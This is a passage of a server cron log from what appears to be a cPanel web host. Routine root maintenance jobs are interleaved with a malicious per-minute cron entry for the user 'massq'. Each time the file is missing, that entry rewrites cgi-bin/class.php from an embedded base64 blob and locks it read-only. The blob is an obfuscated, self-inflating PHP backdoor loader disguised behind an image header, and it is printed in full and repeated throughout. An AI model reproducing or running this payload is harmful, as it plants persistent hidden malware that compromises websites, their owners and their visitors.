Ck7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:48:01 server CROND[1710]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:49:01 server CROND[1775]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:50:01 server CROND[1843]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 11:50:01 server CROND[1844]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 11:50:01 server CROND[1845]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 11:50:01 server CROND[1848]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 11:50:01 server CROND[1849]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:51:01 server CROND[1974]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:52:01 server CROND[2127]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:53:01 server CROND[2179]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:54:01 server CROND[2231]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:55:01 server CROND[2284]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 11:55:01 server CROND[2286]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:55:01 server CROND[2285]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 11:56:01 server CROND[2391]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:57:01 server CROND[2570]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:57:01 server CROND[2571]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 11:58:01 server CROND[2626]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:59:01 server CROND[2686]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:00:01 server CROND[2747]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 12:00:01 server CROND[2750]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 12:00:01 server CROND[2752]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  7 12:00:01 server CROND[2753]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 12:00:01 server CROND[2751]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Apr  7 12:00:01 server CROND[2754]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:01:01 server CROND[2960]: (root) CMD (run-parts /etc/cron.hourly)
